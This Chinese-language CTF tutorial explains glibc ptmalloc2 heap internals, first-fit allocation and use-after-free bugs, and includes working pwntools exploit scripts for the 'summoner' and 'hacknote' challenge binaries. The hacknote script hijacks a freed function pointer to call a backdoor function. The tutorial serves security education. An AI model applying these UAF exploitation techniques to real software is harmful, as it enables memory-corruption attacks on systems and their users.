CTF-pwn 技术总结(4)
字数 2399 2025-08-07 08:22:20
CTF Pwn 堆利用技术详解
0x0 前言
本教程将详细介绍CTF Pwn中堆利用的相关技术,包括堆的基本概念、管理机制、常见漏洞类型及利用方法。通过本教程,读者将掌握堆利用的基础知识和实战技巧。
0x1 堆的基本概念
堆的定义与特性
堆是程序虚拟内存中由低地址向高地址增长的线性区域,具有以下特点:
- 通过
malloc、alloc、realloc等函数申请内存 - 出于效率和页对齐考虑,通常分配大块连续内存
- 与栈不同,栈由高地址向低地址增长,堆由低地址向高地址增长
CTF中的堆管理器
CTF比赛中常见的堆是ptmalloc2堆管理器中的堆,由glibc实现,其管理机制如下:
- 用户申请堆块时,从堆中按顺序分配
- 用户释放堆块时,glibc将释放的堆块组织成链表
- 相邻的free chunk会被合并以解决内存碎片问题
重要术语
- allocated chunk: 正在使用的堆块
- free chunk: 被释放的堆块
- bin: 由free chunk组成的链表
- fast bin: 管理小尺寸chunk
- small bin: 管理中等尺寸chunk
- large bin: 管理大尺寸chunk
- unsorted bin: 临时存放释放的chunk
0x2 堆的实现机制
Arena(竞技场)
Arena是用于管理线程中堆的结构:
- 每个线程有一个独立的arena
- 主线程的arena称为"main_arena"
- 子线程的arena称为"thread_arena"
- 主线程堆扩展使用
brk函数,子线程使用mmap
关键结构体
1. struct malloc_state(Arena实现)
struct malloc_state {
__libc_lock_define(, mutex);
int flags;
int have_fastchunks;
mfastbinptr fastbinsY[NFASTBINS]; // Fast bins
mchunkptr top; // Top chunk
mchunkptr last_remainder; // 最近分割剩余的chunk
mchunkptr bins[NBINS * 2 - 2]; // Normal bins
unsigned int binmap[BINMAPSIZE]; // Bin位图
struct malloc_state *next; // 链表指针
struct malloc_state *next_free; // 空闲arena链表
INTERNAL_SIZE_T attached_threads; // 附加线程数
INTERNAL_SIZE_T system_mem; // 系统分配的内存
INTERNAL_SIZE_T max_system_mem; // 最大系统内存
};
2. struct _heap_info(堆段信息)
typedef struct _heap_info {
mstate ar_ptr; // 所属arena
struct _heap_info *prev; // 前一个堆段
size_t size; // 当前大小
size_t mprotect_size; // 受保护的大小
char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // 对齐填充
} heap_info;
3. struct malloc_chunk(堆块结构)
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; // 前一个chunk大小(如果free)
INTERNAL_SIZE_T mchunk_size; // 当前chunk大小(包括元数据)
// 以下字段仅在chunk free时有效
struct malloc_chunk* fd; // 前向指针
struct malloc_chunk* bk; // 后向指针
// 仅用于large bin
struct malloc_chunk* fd_nextsize; // 不同大小chunk的前向指针
struct malloc_chunk* bk_nextsize; // 不同大小chunk的后向指针
};
字段详解
- prev_size: 前一个chunk空闲时表示其大小,否则作为前一个chunk数据部分
- size: 当前chunk大小,低3位用作标志位:
NON_MAIN_ARENA: 是否位于主线程IS_MAPPED: 是否由mmap分配PREV_INUSE: 前一个chunk是否在使用中
- fd/bk: chunk空闲时指向bin链表中的前后chunk
- fd_nextsize/bk_nextsize: 仅large bin使用,指向不同大小的chunk
malloc和free函数
malloc函数
void *malloc(size_t n);
特性:
- 返回对应大小内存块的指针
- n=0时返回系统允许的最小内存块
- n为负数时(转换为无符号大数)通常分配失败
free函数
void free(void *p);
特性:
- 释放p指向的内存块
- p为NULL时不执行任何操作
- 重复释放会导致double free漏洞
- 大内存释放时会归还给系统
chunk管理机制
- 堆初始化后作为一个free chunk(top chunk)
- 申请内存时,若无合适bin则切割top chunk
- top chunk不足时调用brk扩展堆
- 释放内存时,glibc合并相邻free chunk并加入合适bin
0x3 First Fit机制与UAF漏洞
First Fit机制
glibc使用first-fit算法选择空闲chunk:
- 查找第一个大小满足要求的空闲chunk
- 找到即返回,不再继续查找
- 可能导致内存碎片问题
UAF (Use After Free)漏洞
UAF即释放后使用,分为几种情况:
- 释放后指针置NULL,再次使用导致崩溃
- 释放后指针未置NULL,且内存未被修改,程序可能正常运行
- 释放后指针未置NULL,内存被修改,导致异常行为
悬挂指针(dangling pointer): 被释放但未置NULL的指针
漏洞演示程序分析
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char* a = malloc(0x512);
char* b = malloc(0x256);
char* c;
strcpy(a, "this is A!");
free(a);
c = malloc(0x500);
strcpy(c, "this is C!");
printf("a points to %s\n", a); // 输出"this is C!"
}
分析:
- 分配两个chunk(a:0x512, b:0x256)
- 释放a但不置NULL
- 分配c(0x500),由于first fit重用a的空间
- 修改c的内容也影响了a的指针
- 这就是UAF漏洞的典型表现
0x4 实战案例分析
案例1: summoner
程序功能:
- 召唤使徒(等级1-4)
- 需要等级5使徒才能击败魔龙
漏洞分析:
- 使用结构体存储召唤物信息(name指针和level)
- 释放时仅free name指针,未释放整个结构体
- 存在UAF漏洞
利用步骤:
- 创建召唤物,name为8个'a'+'\x05'
- 释放该召唤物
- 重新创建召唤物
- 由于first fit,新结构体使用原name空间
- level字段被设置为5,成功利用
EXP代码:
from pwn import *
context.log_level = 'debug'
p = process("./summoner")
def sla(signal, content):
p.sendlineafter(signal, content)
sla('>','summon ' + 'a'*8 + '\x05')
sla('>','release')
sla('>','summon aaaa')
sla('>','show')
sla('>','strike')
p.interactive()
案例2: hacknote
程序功能:
- 添加note(最多5个)
- 删除note
- 打印note
- 退出
漏洞分析:
- note结构包含puts函数指针和content指针
- 删除时free content和note结构体但未置NULL
- 存在UAF漏洞
- 程序有magic后门函数
利用步骤:
- 创建两个note(size=16)
- 依次释放note0和note1
- 创建note2(size=8), content为magic函数地址
- 由于first fit:
- note2结构体使用note1的空间
- note2 content使用note0的空间
- 打印note0会执行magic函数
EXP代码:
from pwn import *
context.log_level = 'debug'
p = process('./hacknote')
e = ELF('./hacknote')
def sla(signal, content):
p.sendlineafter(signal, content)
def add_note(size, content):
sla('Your choice :', '1')
sla('Note size :', str(size))
sla('Content :', content)
def del_note(index):
sla('Your choice :', '2')
sla('Index :', str(index))
def show(index):
sla('Your choice :', '3')
sla('Index :', str(index))
magic = p32(e.sym['magic'])
add_note(0x10, 'a') #0
add_note(0x10, 'a') #1
del_note(0) #0
del_note(1) #1
add_note(0x8, magic) #2
show(0)
p.interactive()
0x5 总结
堆利用技术涉及底层内存管理知识,要点包括:
- 理解堆的管理机制和关键结构体
- 掌握first fit分配策略
- 识别和利用UAF漏洞
- 通过调试分析内存布局
- 构造合适的数据结构实现利用
堆漏洞利用是CTF Pwn中的重要考点,需要结合理论知识和实践调试才能掌握。建议读者动手实践示例程序,使用gdb等工具观察内存变化,加深理解。
0x6 参考资源
- CTF-Wiki堆利用章节
- 《30张图带你领略glibc内存管理精髓》
- 《如何理解Glibc堆管理器》